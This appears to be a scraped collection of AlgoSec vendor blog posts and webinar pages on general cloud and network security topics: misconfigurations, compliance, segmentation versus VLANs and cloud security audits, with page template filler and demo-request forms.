Search results

Top 5 misconfigurations to avoid for robust security Multi-cloud environments have become the backbone of modern enterprise IT, offering unparalleled flexibility, scalability, and access to a diverse array of innovative services. This distributed architecture empowers organizations to avoid vendor lock-in, optimize costs, and leverage specialized functionalities from different providers. However, this very strength introduces a significant challenge: increased complexity in security... Cloud Security 5 Multi-Cloud Environments Iris Stein 2 min read Iris Stein Short bio about author here Lorem ipsum dolor sit amet consectetur. Vitae donec tincidunt elementum quam laoreet duis sit enim. Duis mattis velit sit leo diam. Tags Share this article 6/23/25 Published Top 5 misconfigurations to avoid for robust security Multi-cloud environments have become the backbone of modern enterprise IT, offering unparalleled flexibility, scalability, and access to a diverse array of innovative services. This distributed architecture empowers organizations to avoid vendor lock-in, optimize costs, and leverage specialized functionalities from different providers. However, this very strength introduces a significant challenge: increased complexity in security management. The diverse security models, APIs, and configuration nuances of each cloud provider, when combined, create a fertile ground for misconfigurations. A single oversight can cascade into severe security vulnerabilities, lead to compliance violations, and even result in costly downtime and reputational damage. At AlgoSec, we have extensive experience in navigating the intricacies of multi-cloud security. Our observations reveal recurring patterns of misconfigurations that undermine even the most well-intentioned security strategies. To help you fortify your multi-cloud defences, we've compiled the top five multi-cloud misconfigurations that organizations absolutely must avoid. 1. Over-permissive policies: The gateway to unauthorized access One of the most pervasive and dangerous misconfigurations is the granting of overly broad or permissive access policies. In the rush to deploy applications or enable collaboration, it's common for organizations to assign excessive permissions to users, services, or applications. This "everyone can do everything" approach creates a vast attack surface, making it alarmingly easy for unauthorized individuals or compromised credentials to gain access to sensitive resources across your various cloud environments. The principle of least privilege (PoLP) is paramount here. Every user, application, and service should only be granted the minimum necessary permissions to perform its intended function. This includes granular control over network access, data manipulation, and resource management. Regularly review and audit your Identity and Access Management (IAM) policies across all your cloud providers. Tools that offer centralized visibility into entitlements and highlight deviations can be invaluable in identifying and rectifying these critical vulnerabilities before they are exploited. 2. Inadequate network segmentation: Lateral movement made easy In a multi-cloud environment, a flat network architecture is an open invitation for attackers. Without proper network segmentation, a breach in one part of your cloud infrastructure can easily lead to lateral movement across your entire environment. Mixing production, development, and sensitive data workloads within the same network segment significantly increases the risk of an attacker pivoting from a less secure development environment to a critical production database. Effective network segmentation involves logically isolating different environments, applications, and data sets. This can be achieved through Virtual Private Clouds (VPCs), subnets, security groups, network access control lists (NACLs), and micro-segmentation techniques. The goal is to create granular perimeters around critical assets, limiting the blast radius of any potential breach. By restricting traffic flows between different segments and enforcing strict ingress and egress rules, you can significantly hinder an attacker's ability to move freely within your cloud estate. 3. Unsecured storage buckets: A goldmine for data breaches Cloud storage services, such as Amazon S3, Azure Blob Storage, and Google Cloud Storage, offer incredible scalability and accessibility. However, their misconfiguration remains a leading cause of data breaches. Publicly accessible storage buckets, often configured inadvertently, expose vast amounts of sensitive data to the internet. This includes customer information, proprietary code, intellectual property, and even internal credentials. It is imperative to always double-check and regularly audit the access controls and encryption settings of all your storage buckets across every cloud provider. Implement strong bucket policies, restrict public access by default, and enforce encryption at rest and in transit. Consider using multifactor authentication for access to storage, and leverage tools that continuously monitor for publicly exposed buckets and alert you to any misconfigurations. Regular data classification and tagging can also help in identifying and prioritizing the protection of highly sensitive data stored in the cloud. 4. Lack of centralized visibility: Flying blind in a complex landscape Managing security in a multi-cloud environment without a unified, centralized view of your security posture is akin to flying blind. The disparate dashboards, logs, and security tools provided by individual cloud providers make it incredibly challenging to gain a holistic understanding of your security landscape. This fragmented visibility makes it nearly impossible to identify widespread misconfigurations, enforce consistent security policies across different clouds, and respond effectively and swiftly to emerging threats. A centralized security management platform is crucial for multi-cloud environments. Such a platform should provide comprehensive discovery of all your cloud assets, enable continuous risk assessment, and offer unified policy management across your entire multi-cloud estate. This centralized view allows security teams to identify inconsistencies, track changes, and ensure that security policies are applied uniformly, regardless of the underlying cloud provider. Without this overarching perspective, organizations are perpetually playing catch-up, reacting to incidents rather than proactively preventing them. 5. Neglecting Shadow IT: The unseen security gaps Shadow IT refers to unsanctioned cloud deployments, applications, or services that are used within an organization without the knowledge or approval of the IT or security departments. While seemingly innocuous, shadow IT can introduce significant and often unmanaged security gaps. These unauthorized resources often lack proper security configurations, patching, and monitoring, making them easy targets for attackers. To mitigate the risks of shadow IT, organizations need robust discovery mechanisms that can identify all cloud resources, whether sanctioned or not. Once discovered, these resources must be brought under proper security governance, including regular monitoring, configuration management, and adherence to organizational security policies. Implementing cloud access security brokers (CASBs) and network traffic analysis tools can help in identifying and gaining control over shadow IT instances. Educating employees about the risks of unauthorized cloud usage is also a vital step in fostering a more secure multi-cloud environment. Proactive management with AlgoSec Cloud Enterprise Navigating the complex and ever-evolving multi-cloud landscape demands more than just awareness of these pitfalls; it requires deep visibility and proactive management. This is precisely where AlgoSec Cloud Enterprise excels. Our solution provides comprehensive discovery of all your cloud assets across various providers, offering a unified view of your entire multi-cloud estate. It enables continuous risk assessment by identifying misconfigurations, policy violations, and potential vulnerabilities. Furthermore, AlgoSec Cloud Enterprise empowers automated policy enforcement, ensuring consistent security postures and helping you eliminate misconfigurations before they can be exploited. By providing this robust framework for security management, AlgoSec helps organizations maintain a strong and resilient security posture in their multi-cloud journey. Stay secure out there! The multi-cloud journey offers immense opportunities, but only with diligent attention to security and proactive management can you truly unlock its full potential while safeguarding your critical assets. Schedule a demo Related Articles Q1 at AlgoSec: What innovations and milestones defined our start to 2026? AlgoSec Reviews Mar 19, 2023 · 2 min read 2025 in review: What innovations and milestones defined AlgoSec’s transformative year in 2025? AlgoSec Reviews Mar 19, 2023 · 2 min read Navigating Compliance in the Cloud AlgoSec Cloud Mar 19, 2023 · 2 min read Speak to one of our experts Speak to one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Schedule a call

As organizations respond to an ever-evolving set of security threats, network teams are scrambling to find new ways to keep up with... Auditing and Compliance Continuous compliance monitoring best practices Tsippi Dach 2 min read Tsippi Dach Short bio about author here Lorem ipsum dolor sit amet consectetur. Vitae donec tincidunt elementum quam laoreet duis sit enim. Duis mattis velit sit leo diam. Tags Share this article 3/19/23 Published As organizations respond to an ever-evolving set of security threats, network teams are scrambling to find new ways to keep up with numerous standards and regulations to dodge their next compliance audit violation. Can this nightmare be avoided? Yes, and it’s not as complex as one might think if you take a “compliance first” approach . It may not come as a surprise to many, but the number of cyber attacks is increasing every year and with it the risk to companies’ financial, organizational, and reputational standing. What’s at stake? The stakes are high when it comes to cyber security compliance. A single data breach can result in massive financial losses, damage to a company’s reputation, and even jail time for executives. Data breaches: Data breaches are expensive and becoming even more so by the day. According to the Ponemon Institute’s 2022 Cost of a Data Breach Report , the average cost of a data breach is $4.35 million. Fraud: Identity fraud is one of the most pressing cybersecurity threats today. In large organizations, the scale of fraud is also usually large, resulting in huge losses causing depletion of profitability. In a recent survey done by PwC, nearly one in five organizations said that their most disruptive incident cost over $50 million*. Theft: Identity theft is on the rise and can be the first step towards compromising a business. According a study from Javelin Strategy & Research found that identity fraud costs US businesses an estimated total of $56 billion* in 2021. What’s the potential impact? The potential impact of non-compliance can be devastating to an organization. Financial penalties, loss of customers, and damage to reputation are just a few of the possible consequences. To avoid these risks, organizations must make compliance a priority and take steps to ensure that they are meeting all relevant requirements. Legal impact:  Regulatory or legal action brought against the organization or its employees that could result in fines, penalties, imprisonment, product seizures, or debarment.  Financial impact:  Negative impacts with regard to the organization’s bottom line, share price, potential future earnings, or loss of investor confidence.  Business impact:  Adverse events, such as embargos or plant shutdowns, could significantly disrupt the organization’s ability to operate.  Reputational impact:  Damage to the organization’s reputation or brand—for example, bad press or social-media discussion, loss of customer trust, or decreased employee morale.  How can this be avoided? In order to stay ahead of the ever-expanding regulatory requirements, organizations must adopt a “compliance first” approach to cyber security. This means enforcing strict compliance criteria and taking immediate action to address any violations to ensure data is protected. Some of these measures include the following: Risk assessment: Conduct ongoing monitoring of compliance posture (risk assessment) and conduct regular internal audits (ensuring adherence with regulatory and legislative requirements (HIPAA, GDPR, PCI DSS, SOX, etc.) Documentation: Enforce continuous tracking of changes and intent Annual audits: Commission 3rd party annual audits to ensure adherence with regulatory and legislative requirements (HIPAA, GDPR, PCI DSS, SOX, etc.) Conclusion and next steps Compliance violations are no laughing matter. They can result in fines, business loss, and even jail time in extreme cases. They can be difficult to avoid unless you take the right steps to avoid them. You have a complex set of rules and regulations to follow as well as numerous procedures, processes, and policies. And if you don’t stay on top of things, you can end up with a compliance violation mess that is difficult to untangle. Fortunately, there are ways to reduce the risk of being blindsided by a compliance violation mess with your organization. Now that you know the risks and what needs to be done, here are six best practices for achieving it. External links: $50 million $56 billion Schedule a demo Related Articles Q1 at AlgoSec: What innovations and milestones defined our start to 2026? AlgoSec Reviews Mar 19, 2023 · 2 min read 2025 in review: What innovations and milestones defined AlgoSec’s transformative year in 2025? AlgoSec Reviews Mar 19, 2023 · 2 min read Navigating Compliance in the Cloud AlgoSec Cloud Mar 19, 2023 · 2 min read Speak to one of our experts Speak to one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Schedule a call

Safeguarding the network architecture is the need of the hour. According to a study, the average cost of a data breach is at an all-time... Network Security Policy Management Network segmentation vs. VLAN explained Tsippi Dach 2 min read Tsippi Dach Short bio about author here Lorem ipsum dolor sit amet consectetur. Vitae donec tincidunt elementum quam laoreet duis sit enim. Duis mattis velit sit leo diam. Tags Share this article 8/9/23 Published Safeguarding the network architecture is the need of the hour. According to a study, the average cost of a data breach is at an all-time high of $4.35 million. And this figure will only increase with governments and regulators becoming ever stricter on data breaches. The go-to method IT administrators adopt to safeguard their networks is network segmentation. By segmenting a larger network into smaller chunks, it becomes much more manageable to secure the entire network. But network segmentation is a broad concept and doesn’t refer to a single procedure. In fact, there are several segmentation processes — one of them being VLAN. Instead of simplifying, this adds to the complexity. In this article, we will explain the core difference between network segmentation and VLAN and when you should opt for a particular one over the other. What is network segmentation? Let’s start with the definitions of network segmentation and VLAN. By definition, network segmentation is the practice of compartmentalizing a network according to firewall rules . In other words, it’s about dividing a computer network into subnetworks. The subnetworks, at the IP level, are known as subnets. Each of the subnets then works independently and in isolation. Think of how a nation is split into various states and provinces for better management at the local level. Running an entire nation at the federal level is too much work. In addition to subnetting, there are other segmentation options like firewall segmentation and SDN (Software Defined Network) segmentation. But for this article’s sake, we will focus on subnets since those are the most common. What is VLAN? VLAN or Virtual LAN (Virtual Local Area Network) is also a type of network segmentation approach where the main physical network is divided into multiple smaller virtual networks. The division is done logically or virtually, not requiring buying additional physical resources. The same resource is divided using computer logic. There are several benefits to dividing the parts of the network, either using VLAN segmentation or subnet techniques. Some of them are: Broadcast domain isolation Both subnets and VLAN isolate broadcast domains. This way, broadcasting network traffic is contained in a single segment instead of being exposed to the entire network. This reduces the chance of network congestion during peak hours and unnecessary server overload, thereby maximizing efficiency. Enhanced security The isolation by subnets or VLAN enhances the IT network’s security policies. This is achieved through various factors that are at play. But primarily, the creation of subnetworks makes the flat network more secure. With multiple subnetworks, you can regulate the security parameters. Thus, those subnets containing critical data (like that of healthcare) can have enhanced cybersecurity measures more than others, making them harder to crack. So, from a security perspective, both subnets and VLAN are a must. Better network management With digitization and IT modernization, the IT infrastructure is growing. Concurrently, it’s getting harder to manage them. Microsegmentation is one way of managing the ever-growing infrastructure. By segmenting, you can deploy teams to each segment, thereby strengthening their management and accountability. With the implementation of SDN, you can even configure and automate the management of some of the subnetworks. Flexibility in scalability Many network administrators face network performance and scalability issues expanding resources. The issues are a mix of technical and economical. Network segmentation offers a solution to such issues. By segmenting the entire data center network, you can choose which segments to expand and control the resources granted to each segment. This also makes scalability more economical. While both offer scalability opportunities, VLAN offers superior functionality than subnets. Reduced scope of compliance Compliance is another area that IT execs need to work on. And network segmentation, either via subnets or VLAN, can help in this regard. By having subnets, you don’t have to audit your entire segmented network as required by regulators. Just audit the necessary subnets and submit the reports to the regulators for approval. This takes far less time and costs significantly less than auditing the entire network. Differences between network segmentation and VLAN By definition, network segmentation (subnetting) and VLAN sound pretty similar. After all, there’s a division of the main network into subnetworks or smaller networks. But besides the core similarities mentioned above, there are a few critical differences. Let’s dive into the differences between the two. The primary difference between the two subnets are layer 3 divisions, while VLANs are layer 2 divisions. As you may recall, networks are layer 1 (device), layer 2 (data link), layer 3 (IP, routers), and so on, up to layer 7 (application). TCP/IP is the newer framework with four layers only. So, when you divide a network at a data link, you need to adopt VLAN. With VLAN, several networks exist on the same physical network but may not be connected to the same fiber switch. In subnets, the division occurs at IP level. Thus, the independent subnets are assigned their IP addresses and communicate with others over layer 3. Besides this significant difference, there are other dissimilarities you should know. Here’s a table to help you understand: VLAN Subnet 1 Divides the network within the same physical network using logic. Divides the IP network into multiple IP networks 2 VLANs communicate with other devices within the same LAN The communication between the subnets is carried out over layer 3 3 It is configured at the switch side It is configured at IP level 4 VLAN divisions are software-based terminology since they’re divided logically. Subnets can be both hardware- of software-based 5 VLAN provides better network access and tend to be more stable Subnets offer limited control When to adopt a subnet? There are use cases when subnets are more suited, while there are cases when you’re better off with Virtual LANs. As per the definition, you need to adopt a subnet when dividing different networks at IP level. So, if you want to create multiple IP addresses for each partition, implement subnets. The subnets are essentially networks within a network with their own IP addresses. Thus, they divide the broadcast domain and improve speed and efficiency. Subnets are also the go-to segmentation method when you need to make the sub-networks available over layer 3 to the outside world. With appropriate access control lists, anyone with an internet connection would be able to access the subnets But subnetting is also used to prevent access to a particular subnet. For example, you may want to limit access to the company’s software codebase to anyone outside the development department. So, only network devices with approved IP addresses used by the developer network are approved to access the codebase. But there are two downsides to subnets you should know. The first one is increased time complexity. When dealing with a single network, three steps are in place to reach the Process (Source Host, Destination Network, and Process). In subnets, there’s an additional step involved (Source Host, Destination Network, Subnet, Process). This extra step increases time complexity, requiring more time for data transfer and connectivity. It also affects stability. Subnetting also increases the number of IP addresses required since each subnet requires its own IP address. This can become hard to manage over time. When to adopt VLAN? Virtual LANs are internal networks within the same physical network. They interact with one another, not with other devices on the same network or outside the world. Think of VLAN as a private wireless network at home. Your neighbors don’t have access to it, but everyone in your home has. If that sounds like your desired result, you should adopt VLAN. There are three types of VLANs (basic, extended, and tagged). In basic VLAN, you assign IDs to each switch port or PCI . Once assigned, you can’t change them. Extended VLAN has more functionalities like priority-based routing. Lastly, tagged VLAN enables you to create multiple VLANs with IEEE 802.1Q. The main advantages of different VLANs over subnet are speed and stability. Since endpoints do not have to resolve IP addresses every time, they tend to be faster. But there’s a significant disadvantage to VLANs: It’s easier to breach multiple partitions if there’s a malicious injection. Without proper network security controls, it is easier to exploit vulnerabilities using malware and ransomware , putting your entire network at risk. Having ACLs (access control lists) can help in such situations. Furthermore, there are issues arising out of physical store requirements. Connecting two segments in VLAN requires you to use routers and IoT. Routers are physical devices that take up space. The more segments you create, the more routers you need to use. Over time, management can become an issue. The bottom line Both subnets and VLANs are network segmentation approaches that improve security and workload management. It’s not a given that you can’t have both. Some companies benefit from the implementation of VLAN and subnets simultaneously. But there are specific times when IT service providers prefer one over the other. Consider your requirements to select the approach that’s right for you. Schedule a demo Related Articles Q1 at AlgoSec: What innovations and milestones defined our start to 2026? AlgoSec Reviews Mar 19, 2023 · 2 min read 2025 in review: What innovations and milestones defined AlgoSec’s transformative year in 2025? AlgoSec Reviews Mar 19, 2023 · 2 min read Navigating Compliance in the Cloud AlgoSec Cloud Mar 19, 2023 · 2 min read Speak to one of our experts Speak to one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Schedule a call

Webinars Firewalls Ablaze? Put Out Network Security Audit & Compliance Fires The growing body of regulations and standards forces enterprises to put considerable emphasis on compliance verified by ad hoc and regular auditing of security policies and controls. While regulatory and internal audits entail a wide range of security checks, network firewalls are featured prominently as they are the first line of defense of the enterprise network. Typical networks might include tens or hundreds of firewalls from multiple vendors running thousands of rules. Auditing firewalls for compliance is becoming more complex and demanding all the time. Documentation of current rules and their evolution of changes is lacking Time and resources required to find, organize and inspect all the firewall rules to determine the level of compliance is exorbitant and growing It’s time to adopt auditing’s best practices to maintain continuous compliance. Join us in this webinar to discover the Firewall Audit Checklist, the 6 best practices that will ensure successful audits and full compliance. By adopting these best practices, security teams will significantly improve their network’s security posture and reduce the pain of ensuring compliance with regulations, industry standards and corporate policies. Tal Dayan AlgoSec security expert Relevant resources Firewall audit checklist for security policy rules review Firewall audit checklist for security policy rules review See Documentation AlgoSec AppViz - Application visibility for AlgoSec Firewall Analyzer See Documentation Firewall policy management Automate firewall rule changes See Documentation Choose a better way to manage your network Choose a better way to manage your network Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Continue

Cloud management enhances visibility across a hybrid network, processes network security policy changes in minutes, and reduces configuration risks But what does effective cloud management look like Webinars How to Manage Your Cloud Journey Episode 1 of Keeping Up-to-Date with Your Network Security Securing your data was once much simpler, and has grown more complex in recent years. As the workforce becomes more distributed, so does your data. Spreading your data across multiple public and private clouds complicates your network. While data used to sit behind lock and key in guarded locations, today’s data sits in multiple locations and geographies, and is made up of multiple public clouds, private clouds and other on-premises network devices. This is why managing your cloud journey can be tiresome and complicated. Enter cloud management. Cloud management enhances visibility across a hybrid network, processes network security policy changes in minutes, and reduces configuration risks. But how can you leverage your cloud management to reap these benefits? What does effective cloud management look like, and how can you achieve it when workloads, sensitive data, and information are so widely dispersed? In this episode we’ll discuss: How to manage multiple workloads on the cloud What successful security management looks like for today’s enterprises How to achieve simple, effective security management for your hybrid network May 4, 2021 Alex Hilton Chief Executive at Cloud Industry Forum (CIF) Stephen Owen Esure Group Oren Amiram Director Product Management, Algosec Relevant resources A Pragmatic Approach to Network Security Across Your Hybrid Cloud Environment Keep Reading State of cloud security: Concerns, challenges, and incidents Read Document Choose a better way to manage your network Choose a better way to manage your network Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Continue

Featured Snippet A cloud security audit is a review of an organization’s cloud security environment. During an audit, the security... Cloud Security What is a Cloud Security Audit? (and How to Conduct One) Rony Moshkovich 2 min read Rony Moshkovich Short bio about author here Lorem ipsum dolor sit amet consectetur. Vitae donec tincidunt elementum quam laoreet duis sit enim. Duis mattis velit sit leo diam. Tags Share this article 6/23/23 Published Featured Snippet A cloud security audit is a review of an organization’s cloud security environment. During an audit, the security auditor will gather information, perform tests, and confirm whether the security posture meets industry standards. PAA: What is the objective of a cloud security audit? The main objective of a cloud security audit is to evaluate the health of your cloud environment, including any data and applications hosted on the cloud. PAA: What are three key areas of auditing in the cloud? From the list of “6 Fundamental Steps of a Cloud Security Audit.” Inspect the security posture Determine the attack surface Implement strict access controls PAA: What are the two types of security audits? Security audits come in two forms: internal and external. In internal audits, a business uses its resources and employees to conduct the investigation. In external audits, a third-party organization is hired to conduct the audit. PAA: How do I become a cloud security auditor? To become a cloud security auditor, you need a certification like the Certificate of Cloud Security Knowledge (CCSK) or Certified Cloud Security Professional (CCSP). Prior experience in IT auditing, cloud security management, and cloud risk assessment is highly beneficial. Cloud environments are used to store over 60 percent of all corporate data as of 2022. With so much data in the cloud, organizations rely on cloud security audits to ensure that cloud services can safely provide on-demand access. In this article, we explain what a cloud security audit is, its main objectives, and its benefits. We’ve also listed the six crucial steps of a cloud audit and a checklist of example actions taken during an audit. What Is a Cloud Security Audit? A cloud security audit is a review of an organization’s cloud security environment . During an audit, the security auditor will gather information, perform tests, and confirm whether the security posture meets industry standards. Cloud service providers (CSPs) offer three main types of services: Software as a Service (SaaS) Infrastructure as a Service (IaaS) Platform as a Service (PaaS) Businesses use these solutions to store data and drive daily operations. A cloud security audit evaluates a CSP’s security and data protection measures. It can help identify and address any risks. The audit assesses how secure, dependable, and reliable a cloud environment is. Cloud audits are an essential data protection measure for companies that store and process data in the cloud. An audit assesses the security controls used by CSPs within the company’s cloud environment. It evaluates the effectiveness of the CSP’s security policies and technical safeguards. Auditors identify vulnerabilities, gaps, or noncompliance with regulations. Addressing these issues can prevent data breaches and exploitation via cybersecurity attacks. Meeting mandatory compliance standards will also prevent potentially expensive fines and being blacklisted. Once the technical investigation is complete, the auditor generates a report. This report states their findings and can have recommendations to optimize security. An audit can also help save money by finding unused or redundant resources in the cloud system. Main Objectives of a Cloud Security Audit The main objective of a cloud security audit is to evaluate the health of your cloud environment, including any data and applications hosted on the cloud. Other important objectives include: Decide the information architecture: Audits help define the network, security, and systems requirements to secure information. This includes data at rest and in transit. Align IT resources: A cloud audit can align the use of IT resources with business strategies. Identify risks: Businesses can identify risks that could harm their cloud environment. This could be security vulnerabilities, data access errors, and noncompliance with regulations. Optimize IT processes: An audit can help create documented, standardized, and repeatable processes, leading to a secure and reliable IT environment. This includes processes for system ownership, information security, network access, and risk management. Assess vendor security controls: Auditors can inspect the CSP’s security control frameworks and reliability. What Are the Two Types of Cloud Security Audits? Security audits come in two forms: internal and external. In internal audits, a business uses its resources and employees to conduct the investigation. In external audits, a third-party organization is hired to conduct the audit. The internal audit team reviews the organization’s cloud infrastructure and data. They aim to identify any vulnerabilities or compliance issues. A third-party auditor will do the same during an external audit. Both types of audits provide an objective assessment of the security posture . But internal audits are rare since there is a higher chance of prejudice during analysis. Who Provides Cloud Security Audits? Cloud security assessments are provided by: Third-party auditors: Independent third-party audit firms that specialize in auditing cloud ecosystems. These auditors are often certified and experienced in CSP security policies. They also use automated and manual security testing methods for a comprehensive evaluation. Some auditing firms extend remediation support after the audit. Cloud service providers: Some cloud platforms offer auditing services and tools. These tools vary in the depth of their assessments and the features they provide to fix problems. Internal audit teams: Many organizations use internal audit teams. These teams assess the controls and processes using CSPM tools . They provide recommendations for improving security and mitigating risks. Why Cloud Security Audits Are So Important Here are eight ways in which security audits of cloud services are performed: Identify security risks: An audit can identify potential security risks. This includes weaknesses in the cloud infrastructure, apps, APIs, or data. Recognizing and fixing these risks is critical for data protection. Ensure compliance: Audits help the cloud environment comply with regulations like HIPAA, PCI DSS, and ISO 27001. Compliance with these standards is vital for avoiding legal and financial penalties. Optimize cloud processes: An audit can help create efficient processes using fewer resources. There is also a decreased risk of breakdowns or malfunctions. Manage access control: Employees constantly change positions within the company or leave. With an audit, businesses can ensure that everyone has the right level of access. For example, access is completely removed for former employees. Auditing access control verifies if employees can safely log in to cloud systems. This is done via two-step authentication, multi-factor authentication, and VPNs. Assess third-party tools: Multi-vendor cloud systems include many third-party tools and API integrations. An audit of these tools and APIs can check if they are safe. It can also ensure that they do not compromise overall security. Avoid data loss: Audits help companies identify areas of potential data loss. This could be during transfer or backup or throughout different work processes. Patching these areas is vital for data safety. Check backup safety: Cloud vendors offer services to back up company data regularly. An audit of backup mechanisms can ensure they are performed at the right frequency and without any flaws. Proactive risk management: Organizations can address potential risks before they become major incidents. Taking proactive action can prevent data breaches, system failures, and other incidents that disrupt daily operations. Save money: Audits can help remove obsolete or underused resources in the cloud. Doing this saves money while improving performance. Improve cloud security posture: Like an IT audit, a cloud audit can help improve overall data confidentiality, integrity, and availability. How Is a Cloud Security Audit Conducted? The exact audit process varies depending on the specific goals and scope. Typically, an independent third party performs the audit. It inspects a cloud vendor’s security posture. It assesses how the CSP implements security best practices and whether it adheres to industry standards. It also evaluates performance against specific benchmarks set before the audit. Here is a general overview of the audit process: Define the scope: The first step is to define the scope of the audit. This includes listing the CSPs, security controls, processes, and regulations to be assessed. Plan the audit: The next step is to plan the audit. This involves establishing the audit team, a timeline, and an audit plan. This plan outlines the specific tasks to be performed and the evaluation criteria. Collect information: The auditor can collect information using various techniques. This includes analytics and security tools, physical inspections, questioning, and observation. Review and analyze: The auditor reviews all the information to evaluate the security posture. Create an audit report: An audit report summarizes findings and lists any issues. It is presented to company management at an audit briefing. The report also provides actions for improvement. Take action: Companies form a team to address issues in the audit report. This team performs remediation actions. The audit process could take 12 weeks to complete. However, it could take longer for businesses to complete the recommended remediation tasks. The schedule may be extended if a gap analysis is required. Businesses can speed up the audit process using automated security tools . This software quickly provides a unified view of all security risks across multiple cloud vendors. Some CSPs, like Amazon Web Services (AWS) and Microsoft Azure, also offer auditing tools. These tools are exclusive to each specific platform. The price of a cloud audit varies based on its scope, the size of the organization, and the number of cloud platforms. For example, auditing one vendor could take four or five weeks. But a complex web with multiple vendors could take more than 12 weeks. 6 Fundamental Steps of a Cloud Security Audit Six crucial steps must be performed in a cloud audit: 1. Evaluate security posture Evaluate the security posture of the cloud system . This includes security controls, policies, procedures, documentation, and incident response plans. The auditor can interview IT staff, cloud vendor staff, and other stakeholders to collect evidence about information systems. Screenshots and paperwork are also used as proof. After this process, the auditor analyzes the evidence. They check if existing procedures meet industry guidelines, like the ones provided by Cloud Security Alliance (CSA). 2. Define the attack surface An attack surface includes all possible points, or attack vectors, through which unauthorized users can access and exploit a system. Since cloud solutions are so complex, this can be challenging. Organizations must use cloud monitoring and observability technologies to determine the attack surface. They must also prioritize high-risk assets and focus their remediation efforts on them. Auditors must identify all the applications and assets running within cloud instances and containers. They must check if the organization approves these or if they represent shadow IT. To protect data, all workloads within the cloud system must be standardized and have up-to-date security measures. 3. Implement robust access controls Access management breaches are a widespread security risk. Unauthorized personnel can get credentials to access sensitive cloud data using various methods. To minimize security issues related to unauthorized access, organizations must: Create comprehensive password guidelines and policies Mandate multi-factor authentication (MFA) Use the Principle of Least Privilege Access (PoLP) Restrict administrative rights 4. Strict data sharing standards Organizations must install strong standards for external data access and sharing. These standards dictate how data is viewed and accessed in shared drives, calendars, and folders. Start with restrictive standards and then loosen up restrictions when necessary. External access should not be provided to files and folders containing sensitive data. This includes personally identifiable information (PII) and protected health information (PHI). 5. Use SIEM Security Information and Event Management (SIEM) systems can collect cloud logs in a standardized format. This allows editors to access logs and automatically generates reports necessary for different compliance standards. This helps organizations maintain compliance with industry security standards. 6. Automate patch management Regular security patches are crucial. However, many organizations and IT teams struggle with patch management. To create an efficient patch management process, organizations must: Focus on the most crucial patches first Regularly patch valuable assets using automation Add manual reviews to the automated patching process to ensure long-term security How Often Should Cloud Security Audits Be Conducted? As a general rule of thumb, audits are conducted annually or biannually. But an audit should also be performed when: Mandated by regulatory standards. For example, Level 1 businesses must pass at least one audit per year to remain PCI DSS compliant. There is a higher risk level. Organizations storing sensitive data may need more frequent audits. There are significant changes to the cloud environment. Ultimately, the frequency of audits depends on the organization’s specific needs. The Major Cloud Security Audit Challenges Here are some of the major challenges that organizations may face: Lack of visibility Cloud infrastructures can be complex with many services and applications across different providers. Each cloud vendor has their own security policies and practices. They also provide limited access to operational and forensic data required for auditing. This lack of transparency prevents auditors from accessing pertinent data. To gather all relevant data, IT operations staff must coordinate with CSPs. Auditors must also carefully choose test cases to avoid violating the CSP’s security policies. Encryption Data in the cloud is encrypted using two methods — internal or provider encryption. Internal or on-premise encryption is when organizations encrypt data before it is transferred to the cloud. Provider encryption is when the CSP handles encryption. With on-premise encryption, the primary threat comes from malicious internal actors. In the latter method, any security breach of the cloud provider’s network can harm your data. From an auditing standpoint, it is best to encrypt data and manage encryption keys internally. If the CSP handles the encryption keys, auditing becomes nearly impossible. Colocation Many cloud providers use the same physical systems for multiple user organizations. This increases the security risk. It also makes it challenging for auditors to inspect physical locations. Organizations should use cloud vendors that use mechanisms to prevent unauthorized data access. For example, a cloud vendor must prevent users from claiming administrative rights to the entire system. Lack of standardization Cloud environments have ever-increasing entities for auditors to inspect. This includes managed databases, physical hosts, virtual machines (VMs), and containers. Auditing all these entities can be difficult, especially when there are constant changes to the entities. Standardized procedures and workloads help auditors identify all critical entities within cloud systems. Cloud Security Audit Checklist Here is a cloud security audit checklist with example actions taken for each general control area: The above list is not all-inclusive. Each cloud environment and process involved in auditing it is different. Industry Standards To Guide Cloud Security Audits Industry groups have created security standards to help companies maintain their security posture. Here are the five most recognized standards for cloud compliance and auditing: CSA Security, Trust, & Assurance Registry (STAR): This is a security assurance program run by the CSA. The STAR program is built on three fundamental techniques: CSA’s Cloud Control Matrix (CCM) Consensus Assessments Initiative Questionnaire (CAIQ) CSA’s Code of Conduct for GDPR Compliance CSA also has a registry of CSPs who have completed a self-assessment of their security controls. The program includes guidelines that can be used for cloud audits. ISO/IEC 27017:2015: The ISO/IEC 27017:2015 are guidelines for information security controls in cloud computing environments. ISO/IEC 27018:2019: The ISO/IEC 27018:2019 provides guidelines for protecting PII in public cloud computing environments. MTCS SS 584: Multi-Tier Cloud Security (MTCS) SS 584 is a cloud security standard developed by the Infocomm Media Development Authority (IMDA) of Singapore. The standard has guidelines for CSPs on information security controls.Cloud customers and auditors can use it to evaluate the security posture of CSPs. CIS Foundations Benchmarks: The Center for Internet Security (CIS) Foundations Benchmarks are guidelines for securing IT systems and data. They help organizations of all sizes improve their security posture. Final Thoughts on Cloud Security Audits Cloud security audits are crucial for ensuring your cloud systems are secure and compliant. This is essential for data protection and preventing cybersecurity attacks. Auditors must use modern monitoring and CSPM tools like Prevasio to easily identify vulnerabilities in multi-vendor cloud environments. This software leads to faster audits and provides a unified view of all threats, making it easier to take relevant action. FAQs About Cloud Security Audits How do I become a cloud security auditor? To become a cloud security auditor, you need certification like the Certificate of Cloud Security Knowledge (CCSK) or Certified Cloud Security Professional (CCSP). Prior experience in IT auditing, cloud security management, and cloud risk assessment is highly beneficial. Other certifications like the Certificate of Cloud Auditing Knowledge (CCAK) by ISACA and CSA could also help. In addition, knowledge of security guidelines and compliance frameworks, including PCI DSS, ISO 27001, SOC 2, and NIST, is also required. Schedule a demo Related Articles Q1 at AlgoSec: What innovations and milestones defined our start to 2026? AlgoSec Reviews Mar 19, 2023 · 2 min read 2025 in review: What innovations and milestones defined AlgoSec’s transformative year in 2025? AlgoSec Reviews Mar 19, 2023 · 2 min read Navigating Compliance in the Cloud AlgoSec Cloud Mar 19, 2023 · 2 min read Speak to one of our experts Speak to one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting 